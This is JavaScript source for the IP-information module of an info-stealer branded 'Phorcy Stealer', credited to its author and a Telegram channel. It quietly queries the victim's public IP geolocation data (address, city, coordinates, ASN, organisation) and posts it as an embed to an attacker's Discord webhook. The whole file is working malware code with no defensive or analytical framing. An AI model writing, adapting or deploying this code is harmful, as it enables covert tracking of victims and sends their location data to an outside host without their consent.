/// coded by syntheticuhh /// IP-INFO FOR PHORCY STEALER const axios = require('axios'); /// const config = { /// webhook: "https://discord.com/api/webhooks/xxxxx/xxxxxxxxx" /// }; async function getipinfo() { let ipinfo; try { const getreq = await axios.get('https://ipapi.co/json'); const json = getreq.data; ipinfo = { ip: json.ip, network: json.network, version: json.version, city: json.city, region: json.region, Regcode: json.region_code, country: json.country, country_name: json.country_name, country_code: json.country_code, capital: json.country_capital, country_tld: json.country_tld, continent_code: json.continent_code, in_eu: json.in_eu, postal: json.postal, latitude: json.latitude, longitude: json.longitude, timezone: json.timezone, utc: json.utc_offset, call_code: json.country_calling_code, Money: json.currency, Money_Name: json.currency_name, language: json.languages, area: json.country_area, population: json.country_population, asn: json.asn, org: json.org }; } catch (error) { console.error('Error: Failed To Connect'); ipinfo = { ip: 'failed', network: 'failed', version: 'failed', city: 'failed', region: 'failed', Regcode: 'failed', country: 'failed', country_name: 'failed', country_code: 'failed', capital: 'failed', country_tld: 'failed', continent_code: 'failed', in_eu: 'failed', postal: 'failed', latitude: 'failed', longitude: 'failed', timezone: 'failed', utc: 'failed', call_code: 'failed', Money: 'failed', Money_Name: 'failed', language: 'failed', area: 'failed', population: 'failed', asn: 'failed', org: 'failed' }; } const ipembed = { username: 'IP-INFO // Phorcy Stealer // T.me/Phorcy', avatar_url: 'https://o.remove.bg/downloads/35158b30-2f72-4dae-8e2f-3513ce002c37/logo-removebg-preview.png', embeds: [ { title: 'IP-INFO', description: 'Import Ip-Info', color: 0x00008B, fields: [ { name: 'IP', value: `\`\`\`${ipinfo.ip}\`\`\`` }, { name: 'Location', value: `\`\`\`${ipinfo.city}, ${ipinfo.region}, ${ipinfo.country}\`\`\`` }, { name: 'Coordinates', value: `\`\`\`${ipinfo.latitude}, ${ipinfo.longitude}\`\`\`` }, { name: 'Timezone', value: `\`\`\`${ipinfo.timezone}\`\`\`` }, { name: 'Currency', value: `\`\`\`${ipinfo.Money} (${ipinfo.Money_Name})\`\`\`` }, { name: 'Languages', value: `\`\`\`${ipinfo.language}\`\`\`` }, { name: 'ASN', value: `\`\`\`${ipinfo.asn}\`\`\`` }, { name: 'Organization', value: `\`\`\`${ipinfo.org}\`\`\`` }, ], }, ], }; try { await axios.post(config.webhook, ipembed, { headers: { 'Content-Type': 'application/json' } }); console.log('sent'); } catch (errors) { console.error('error', errors.message); } } getipinfo();